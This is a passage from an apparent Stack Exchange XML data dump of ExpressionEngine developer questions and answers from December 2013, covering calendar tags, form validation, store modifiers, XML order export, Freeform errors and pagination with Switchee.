{/events}&#xA;&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also create a calendar table using &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; (see the &lt;a href=&quot;http://www.solspace.com/docs/calendar/month//#examples&quot; rel=&quot;nofollow&quot;&gt;advanced example for a monthly calendar here&lt;/a&gt;), then use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if day_event_total &amp;gt; 0}Holiday!{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...within the &lt;code&gt;{display_each_day}{/display_each_day}&lt;/code&gt; tag pair to label days with holidays. Make sure the &lt;code&gt;{events}{/events}&lt;/code&gt; tag pair is also present in the &lt;code&gt;{display_each_day}{/display_each_day}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-15T21:10:49.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17726" PostTypeId="1" CreationDate="2013-12-16T00:47:09.970" Score="2" ViewCount="115" Body="&lt;p&gt;I have this form tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;    channel=&quot;xxxxx&quot;&#xA;    class=&quot;form-horizontal row-fluid&quot;&#xA;    date_picker=&quot;no&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    include_assets=&quot;no&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    return=&quot;/foo/bar/&quot;&#xA;    rules:title=&quot;required|max_length[5]&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to limit title to 5 characters. However, it does not seem to work since I was able to post titles with more than 5 characters without the form complaining.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-12-16T07:31:55.613" Title="Max length Rule doesn't work for {exp:channel:form}" Tags="|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17727" PostTypeId="1" CreationDate="2013-12-16T05:20:39.103" Score="1" ViewCount="119" Body="&lt;p&gt;I'm trying to show / hide modifiers based on a selection.  For instance I am building a store who rents licenses for a period of time (3, 6, and 12 month).  I want to show a different set of options based on one of the selections above.   Is there an easy way to do that?&lt;/p&gt;&#xA;" OwnerUserId="2376" LastActivityDate="2013-12-16T21:05:24.757" Title="Show / Hide Modifiers Based on Selection" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17728" PostTypeId="1" CreationDate="2013-12-16T06:06:02.040" Score="3" ViewCount="123" Body="&lt;p&gt;I have been trying to make &quot;Remember Me&quot; work for the frontend user using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;auto_login&quot; value=&quot;0&quot;&amp;gt;&#xA;&amp;lt;input class=&quot;checkbox&quot; type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot;/&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, it seems to me that &quot;Remember Me&quot; is only mentioned in the &quot;Control Panel Session Type, Cookies Only&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that &quot;Remember Me&quot; does not work for User Session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at  &lt;em&gt;Admin -&gt; Security and Privacy -&gt; Cookie Settings&lt;/em&gt;, all the fields are blank. Does this cause a problem?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-12-16T06:46:43.860" LastActivityDate="2014-01-02T21:10:52.853" Title="Remember me functionality" Tags="|remember-me|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17729" PostTypeId="2" ParentId="17727" CreationDate="2013-12-16T06:35:20.310" Score="1" Body="&lt;p&gt;I don't believe there is anything out of the box that can do that.&#xA;I'd likely rework the logic and create 3 separate products with modifiers required and either via JavaScript or URL segments load required 'product'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could load all 3 on one page and via JavaScript hide them and use a simple radio group to trigger a show/hide function or load via ajax.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-12-16T06:35:20.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17730" PostTypeId="2" ParentId="17726" CreationDate="2013-12-16T07:31:55.613" Score="4" Body="&lt;p&gt;The documentation (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#rules-my-field-name&quot; rel=&quot;nofollow&quot;&gt;user guide, channel form&lt;/a&gt;) does seem to mention (custom) fields. (a quick look at the source of channel:form lib indicates the same).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could validate length with the help of a little bit of javascript, and/or report a bug (feature request) at EllisLab that rules should also apply to default fields.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-12-16T07:31:55.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17732" PostTypeId="2" ParentId="17649" CreationDate="2013-12-16T09:51:38.213" Score="1" Body="&lt;p&gt;It turned out to be a problematic entry into the sessions table by CartThrob, so removing it was a quick fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is within the order confirmation cartthrob tab(post-payment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You need output stage php enabled, as {member_id} is a CartThrob tag)&lt;/p&gt;&#xA;&#xA;db-&gt;delete(&#xA;      'exp_sessions',&#xA;         array(&#xA;           'member_id' =&gt; '{member_id}'&#xA;         )&#xA;      );&#xA;?&gt;&#xA;" OwnerUserId="2494" LastActivityDate="2013-12-16T09:51:38.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17733" PostTypeId="1" CreationDate="2013-12-16T09:55:54.527" Score="0" ViewCount="545" Body="&lt;p&gt;I'm trying to create a jquery datepicker with the available dates form the module Calender from solspace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when i add the data manualy to the variable it works, but when i thy to use the dates form calendar i get a empty datepicker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help me with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my javascript code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var datums = '{exp:calendar:cal  event_limit=&quot;{embed:event_limit}&quot; date_range_start=&quot;today&quot; show_weeks=&quot;12&quot; pad_short_weeks=&quot;n&quot; dynamic=&quot;off&quot;}&quot;{event_start_date format=&quot;%d-%n-%Y&quot;}&quot;,{/exp:calendar:cal}';&#xA;var datums2 = [datums.substring(0, datums.length -1)];&#xA;var unavailableDates = datums2;&#xA;&#xA;function unavailable(date) {&#xA;    dmy = date.getDate() + &quot;-&quot; + (date.getMonth() + 1) + &quot;-&quot; + date.getFullYear();&#xA;    if ($.inArray(dmy, unavailableDates) == -1) {&#xA;        return [false, &quot;&quot;, &quot;Unavailable&quot;];&#xA;    } else {&#xA;        return [true, &quot;&quot;];   &#xA;    }&#xA;}&#xA;&#xA;$(function() {&#xA;    $(&quot;#book-date&quot;).datepicker({&#xA;        dateFormat: 'dd MM yy',&#xA;        beforeShowDay: unavailable,&#xA;        minDate: 0, &#xA;        maxDate: &quot;+6M&quot;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2433" LastEditorUserId="55" LastEditDate="2013-12-16T13:27:00.150" LastActivityDate="2013-12-16T13:27:00.150" Title="Datepicker with enabled dates form calender" Tags="|jquery|solspace-calendar|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17734" PostTypeId="1" AcceptedAnswerId="17737" CreationDate="2013-12-16T11:04:49.520" Score="0" ViewCount="71" Body="&lt;p&gt;I have a form on a website that offers a free download of a brochure, once submitted. I was wondering if there was a way to send an email notification after 2 days just asking if they were happy with the download? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't know if it was possible to delay the notification somehow so that it was delivered 2 days later, then I could tailor the message accordingly. Or if there is a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2013-12-16T13:25:58.563" Title="Is there a way to do an automatic follow up email with Freeform Pro?" Tags="|solspace-freeform|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17735" PostTypeId="1" AcceptedAnswerId="17760" CreationDate="2013-12-16T11:36:34.760" Score="2" ViewCount="227" Body="&lt;p&gt;We have a store setup using ExpressionEngine and Expresso Store, it's all working great however we now need to integrate with another system. This system imports information on orders, it's basically a CRM system, it required an XML file to be produced each time an order is processed, we've managed to produce an XML feed for these orders but unfortunatently it requires a seperate file for EACH order. This is the XML we produced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;Clarity xmlns=&quot;http://www.touchsystems.co.uk/schemas&quot; Type=&quot;Order&quot; DateTime=&quot;2011-04-04T17:58:41.000000&quot; Source=&quot;Customer Website&quot;&amp;gt;&#xA;&#xA;  {exp:store:orders}&#xA;  &amp;lt;Contact&amp;gt;&#xA;    &amp;lt;Name&amp;gt;{billing_name}&amp;lt;/Name&amp;gt;&#xA;    &amp;lt;Company&amp;gt;&amp;lt;/Company&amp;gt;&#xA;    &amp;lt;Telephone&amp;gt;{billing_phone}&amp;lt;/Telephone&amp;gt;&#xA;    &amp;lt;Email&amp;gt;{order_email}&amp;lt;/Email&amp;gt;&#xA;    &amp;lt;Address&amp;gt;&#xA;      &amp;lt;Address1&amp;gt;{billing_address1} {billing_address2}&amp;lt;/Address1&amp;gt;&#xA;      &amp;lt;City&amp;gt;{billing_address3}&amp;lt;/City&amp;gt;&#xA;      &amp;lt;County&amp;gt;{billing_region_name}&amp;lt;/County&amp;gt;&#xA;      &amp;lt;Postcode&amp;gt;{billing_postcode}&amp;lt;/Postcode&amp;gt;&#xA;      &amp;lt;Country&amp;gt;United Kingdom&amp;lt;/Country&amp;gt;&#xA;    &amp;lt;/Address&amp;gt;&#xA;    &amp;lt;Detail&amp;gt;&#xA;      &amp;lt;Title&amp;gt;&amp;lt;/Title&amp;gt;&#xA;      &amp;lt;Extension&amp;gt;&amp;lt;/Extension&amp;gt;&#xA;      &amp;lt;Fax&amp;gt;&amp;lt;/Fax&amp;gt;&#xA;      &amp;lt;Website&amp;gt;&amp;lt;/Website&amp;gt;&#xA;    &amp;lt;/Detail&amp;gt;&#xA;    &amp;lt;Comment&amp;gt;&amp;lt;/Comment&amp;gt;&#xA;    &amp;lt;Document&amp;gt;&#xA;      &amp;lt;Title&amp;gt;Online Order REF {order_id}&amp;lt;/Title&amp;gt;&#xA;      &amp;lt;Notes&amp;gt;Here are some example order notes&amp;lt;/Notes&amp;gt;&#xA;      &amp;lt;Detail&amp;gt;&#xA;        &amp;lt;Terms&amp;gt;Delivery within 30 days of payment&amp;lt;/Terms&amp;gt;&#xA;        &amp;lt;CustOrderNo&amp;gt;{order_id}&amp;lt;/CustOrderNo&amp;gt;&#xA;        &amp;lt;RequiredDate&amp;gt;{order_date}&amp;lt;/RequiredDate&amp;gt;&#xA;      &amp;lt;/Detail&amp;gt;&#xA;      {items}&#xA;      &amp;lt;Item&amp;gt;&#xA;        &amp;lt;Partcode&amp;gt;{sku}&amp;lt;/Partcode&amp;gt;&#xA;        &amp;lt;Description&amp;gt;{title} {modifiers}{modifier_name} {modifier_value} {if price_mod_val}({price_mod}){/if}{/modifiers}&amp;lt;/Description&amp;gt;&#xA;        &amp;lt;Quantity&amp;gt;{item_qty}&amp;lt;/Quantity&amp;gt;&#xA;        &amp;lt;UnitPrice&amp;gt;{price} - {item_subtotal}&amp;lt;/UnitPrice&amp;gt;&#xA;      &amp;lt;/Item&amp;gt;&#xA;      {/items}&#xA;      &amp;lt;Totals&amp;gt;&#xA;      &amp;lt;/Totals&amp;gt;&#xA;      &amp;lt;DeliveryAddress&amp;gt;&#xA;        &amp;lt;Contact&amp;gt;{shipping_name}&amp;lt;/Contact&amp;gt;&#xA;        &amp;lt;Address1&amp;gt;{shipping_address1}&amp;lt;/Address1&amp;gt;&#xA;        &amp;lt;Address2&amp;gt;{shipping_address2}&amp;lt;/Address2&amp;gt;&#xA;        &amp;lt;City&amp;gt;{shipping_address3}&amp;lt;/City&amp;gt;&#xA;        &amp;lt;County&amp;gt;{shipping_region_name}&amp;lt;/County&amp;gt;&#xA;        &amp;lt;Postcode&amp;gt;{shipping_postcode}&amp;lt;/Postcode&amp;gt;&#xA;        &amp;lt;Telephone&amp;gt;{shipping_phone}&amp;lt;/Telephone&amp;gt;&#xA;      &amp;lt;/DeliveryAddress&amp;gt;&#xA;    &amp;lt;/Document&amp;gt;&#xA;  &amp;lt;/Contact&amp;gt;&#xA;  {/exp:store:orders}&#xA;&amp;lt;/Clarity&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But we're not really sure how to go about generating a single XML file per order, will we need to do this with PHP or can ExpressionEngine handle this? Any ideas would be really appreciated! &lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-12-16T21:02:50.920" Title="Exporting an XML file per order" Tags="|expresso-store|xml|export|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17736" PostTypeId="2" ParentId="17735" CreationDate="2013-12-16T13:20:04.893" Score="3" Body="&lt;p&gt;You could have an admin-only page where you list orders using &lt;code&gt;store:orders&lt;/code&gt;, and have each link to the order detail via its &lt;code&gt;order_hash&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders}&#xA;{if count  == &quot;1&quot;}&amp;lt;ul&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=&quot;orders/view/{order_hash}&quot;&amp;gt;Order #{order_id}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if count  == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then &lt;strong&gt;orders/view&lt;/strong&gt; looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders order_hash=&quot;{segment_3}&quot;}&#xA;    // your XML template here&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd want to add something like &lt;code&gt;{if logged_in_member_group != &quot;1&quot;}{redirect=&quot;404&quot;}{/if}&lt;/code&gt; to each page to make sure prying eyes could not see.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-16T13:20:04.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17737" PostTypeId="2" ParentId="17734" CreationDate="2013-12-16T13:25:58.563" Score="2" Body="&lt;p&gt;This will require custom development - either by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using the &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_user_notification&quot; rel=&quot;nofollow&quot;&gt;freeform_module_user_notification&lt;/a&gt; hook to record elsewhere (likely in a custom database table) that a follow-up is required on a certain date for this particular submission, and then having other custom code send that email when the time comes.&lt;/li&gt;&#xA;&lt;li&gt;Periodically (via a cron job) checking all entries in the relevant Freeform database table for submissions which match your criteria (certain form, and certain length of time passed), and then sending the follow-up via that data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-16T13:25:58.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17738" PostTypeId="2" ParentId="15333" CreationDate="2013-12-16T14:31:55.077" Score="1" Body="&lt;p&gt;Just had the same issue upgrading to 2.7.3 and thought I should let people know that the removing free form, then pasting it back in after upgrade solution still seems to work.&lt;/p&gt;&#xA;" OwnerUserId="1782" LastActivityDate="2013-12-16T14:31:55.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17739" PostTypeId="1" CreationDate="2013-12-16T14:33:08.030" Score="1" ViewCount="47" Body="&lt;p&gt;When moving the MySQL between environments (Live, Dev, Local) the files in &quot;Select File&quot; fields disappear The files are still on the server (All environments) because I just select them again and they work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running... &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE.2.7.0&lt;/li&gt;&#xA;&lt;li&gt;Low Variables 2.3.5&lt;/li&gt;&#xA;&lt;li&gt;PHP 5.4.10 (On all environments)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-12-16T14:33:08.030" Title="&quot;Select Files&quot; Images disappearing in Low Variables" Tags="|low-variables|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17740" PostTypeId="2" ParentId="13546" CreationDate="2013-12-16T15:14:07.263" Score="1" Body="&lt;p&gt;I had an issue with format buttons not showing on the front end of my Channel Forms, latest release needs you to render the css file on your site, maybe this is the issue as I assume CE will need to release an update to ensure this is picked up also.&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2013-12-16T15:14:07.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17741" PostTypeId="2" ParentId="17552" CreationDate="2013-12-16T15:24:28.670" Score="1" Body="&lt;p&gt;I just resolved this, turns out it was a low variables/parse order issue. I needed to preparse segment_1 etc... on the main template. My code now looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {!--sidebar--}&#xA;    {exp:low_variables:single var=&quot;lv-sidebar&quot;&#xA;      preparse:pre_seg_1=&quot;{segment_1}&quot;&#xA;      preparse:pre_seg_2=&quot;{segment_2}&quot;&#xA;      preparse:pre_seg_3=&quot;{segment_3}&quot;&#xA;      preparse:pre_top_title=&quot;{structure:top:title}&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in the Low Variable I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;{pre_top_title}&amp;lt;/h4&amp;gt;&#xA;&#xA;{if structure:child_ids != ''}&#xA;    {exp:structure:nav &#xA;        css_class=&quot;side_navigation&quot;&#xA;        start_from=&quot;/{pre_seg_1}&quot;&#xA;    }&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now weverything works just fine&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-12-16T15:24:28.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17742" PostTypeId="2" ParentId="17709" CreationDate="2013-12-16T15:56:32.520" Score="1" Body="&lt;p&gt;Now that ExpressionEngine includes a &lt;a href=&quot;http://ellislab.com/blog/entry/the-modulus-operator&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;modulus operator&lt;/strong&gt;&lt;/a&gt; (as of 2.7.1), you can also use that instead of &lt;code&gt;switch&lt;/code&gt; if you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a couple of examples that both accomplish the same result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using modulus to conditionally output &lt;em&gt;all&lt;/em&gt; opening and closing html tags:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot;}&#xA;&#xA;    {if count % 3 == 1}&#xA;        &amp;lt;ul class=&quot;sub&quot;&amp;gt;                &#xA;    {/if}&#xA;&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;&#xA;    {if count % 3 == 0 OR count == total_results}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...OR....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the first opening tag and the final closing tag &lt;em&gt;outside&lt;/em&gt; of &lt;code&gt;channel:entries&lt;/code&gt; and &lt;strong&gt;use modulus only for conditional closing and re-opening of blocks of html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;sub&quot;&amp;gt;                &#xA;    {exp:channel:entries channel=&quot;news&quot;}&#xA;&#xA;        &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;&#xA;        {if count % 3 == 0}&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;ul class=&quot;sub&quot;&amp;gt;&#xA;        {/if}&#xA;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either of these examples will work and will always ensure that you have proper tag closure. It's just a matter of preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#modulus-operator&quot; rel=&quot;nofollow&quot;&gt;EE Documentation on Modulus Operator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-18T18:24:53.257" LastActivityDate="2013-12-18T18:24:53.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17743" PostTypeId="1" CreationDate="2013-12-16T16:20:28.680" Score="5" ViewCount="892" Body="&lt;p&gt;I have a Freeform Pro standard (non-composer) form. I cannot reproduce the issue, but I have gotten a report of this error: &quot;Invalid form id(s) submitted&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secure forms is already turned off for this site, so we can rule out XID issues. My form tag looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;  form_id=&quot;3&quot;&#xA;  required=&quot;lastname|firstname|address|city|state|zip|phone_number&quot;&#xA;  form:class=&quot;freeform&quot;&#xA;  inline_errors=&quot;yes&quot;&#xA;  return=&quot;{current_url}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, there is a form with an ID of 3 in the system. I have been able to submit the form myself with no issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of my research on this error reveals that it's either an XID or htaccess issue. But I don't think either of those apply in my case, since the form works most of the time, and since secure forms are turned off. What other reasons would this error occur?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&#xA;Freeform Pro 4.0.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no budget for upgrading EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: There's also no caching on this form, no tag caching, no CE Caching, no Stash caching.&lt;/p&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditDate="2013-12-16T17:36:19.347" LastActivityDate="2015-05-08T09:32:09.780" Title="Freeform Pro: intermittent error &quot;Invalid form id(s) submitted&quot;" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17744" PostTypeId="2" ParentId="17531" CreationDate="2013-12-16T16:41:42.267" Score="5" Body="&lt;p&gt;Unfortunately, there wasn't a good answer in getting this to work with Matrix. Everything I tried still resulted in a page load time of 14.6 - 17.2 seconds. I worked with EllisLab all day Friday from like 2-9. We spent the day debugging templates, analyzing output, checking for red flags, etc.. I completely rebuilt the template using the native Grid field and the render time dropped from the 15-ish mark to 2.3 seconds. I have an open ticket with P&amp;amp;T. I have given them the same log info and informed them of the changes and results. There is definitely something going on, but I don't know what it is. I will post here once a solution is delivered, when/if that happens though. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-12-16T16:41:42.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17745" PostTypeId="2" ParentId="17743" CreationDate="2013-12-16T17:02:44.130" Score="1" Body="&lt;p&gt;I had a similar error, and it was distinctly user-error. But here are two items which might help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any sort of caching turned on? It could potentially be that. If so, try disabling the caching for that particular page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try this: Fill out the test form, hit submit. Hit the 'back' button, and submit the form again. I know Freeform will spit out an error when you do that. I don't remember exactly what that error message is, but it's related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is also cache related - if you submitted a form, when you hit 'back' to go back a step, you're going to a locally cached page, which would have an ID of the one you already submitted. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2013-12-16T17:02:44.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17746" PostTypeId="1" CreationDate="2013-12-16T17:25:47.493" Score="0" ViewCount="286" Body="&lt;p&gt;I'm using Switchee to detect pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switchee is working fine for: /new/PX/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use Zoo Triggers for categories and archives and have the following pagination URL's too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/news/category/abc/PX (segment 4) &lt;/li&gt;&#xA;&lt;li&gt;/news/archive/yyyy/mm/PX (segment&#xA;5)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It doesn't look like I can pass multiple values to the &lt;em&gt;variable&lt;/em&gt; parameter so is it best to call Switchee multiple times in the template or is there a better approach?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{triggers:segment_2}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#^P(\d+)$#&quot;}&#xA;    // Do something&#xA;    {/case}&#xA;&#xA;    {case value=&quot;''&quot; default=&quot;Yes&quot;}&#xA;    // Do something&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&#xA;{exp:switchee variable=&quot;{triggers:segment_4}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#^P(\d+)$#&quot;}&#xA;    // Do something&#xA;    {/case}&#xA;&#xA;    {case value=&quot;''&quot; default=&quot;Yes&quot;}&#xA;    // Do something&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&#xA;{exp:switchee variable=&quot;{triggers:segment_5}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#^P(\d+)$#&quot;}&#xA;    // Do something&#xA;    {/case}&#xA;&#xA;    {case value=&quot;''&quot; default=&quot;Yes&quot;}&#xA;    // Do something&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="679" LastActivityDate="2013-12-16T17:43:55.223" Title="Using switchee to detect pagination" Tags="|pagination|switchee|zoo-triggers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17747" PostTypeId="2" ParentId="17746" CreationDate="2013-12-16T17:32:23.407" Score="0" Body="&lt;p&gt;&lt;code&gt;{triggers:last_segment}&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a useless sentence to make this answer long enough to post...&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-16T17:32:23.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17749" PostTypeId="2" ParentId="17746" CreationDate="2013-12-16T17:43:55.223" Score="1" Body="&lt;p&gt;I tried Bjorn's last segment plugin to get the absolute last segment and that worked. Weird...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/bjorn-last-segment&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/bjorn-last-segment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switchee tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:switchee variable=&quot;{exp:last_segment ignore_pagination='no'}&quot; parse=&quot;inward&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="679" LastActivityDate="2013-12-16T17:43:55.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17750" PostTypeId="1" AcceptedAnswerId="17751" CreationDate="2013-12-16T17:51:21.430" Score="3" ViewCount="431" Body="&lt;p&gt;I am trying to make a change to the URL and Server Path of the File Upload Preferences section, but when I click &quot;update&quot; the page refreshes and the changes are gone. I don't have this issue anywhere but on the File Upload Preferences page, does anyone know what would be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2013-12-16T18:05:02.747" Title="File Upload Preferences not saving" Tags="|settings|site-preferences|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
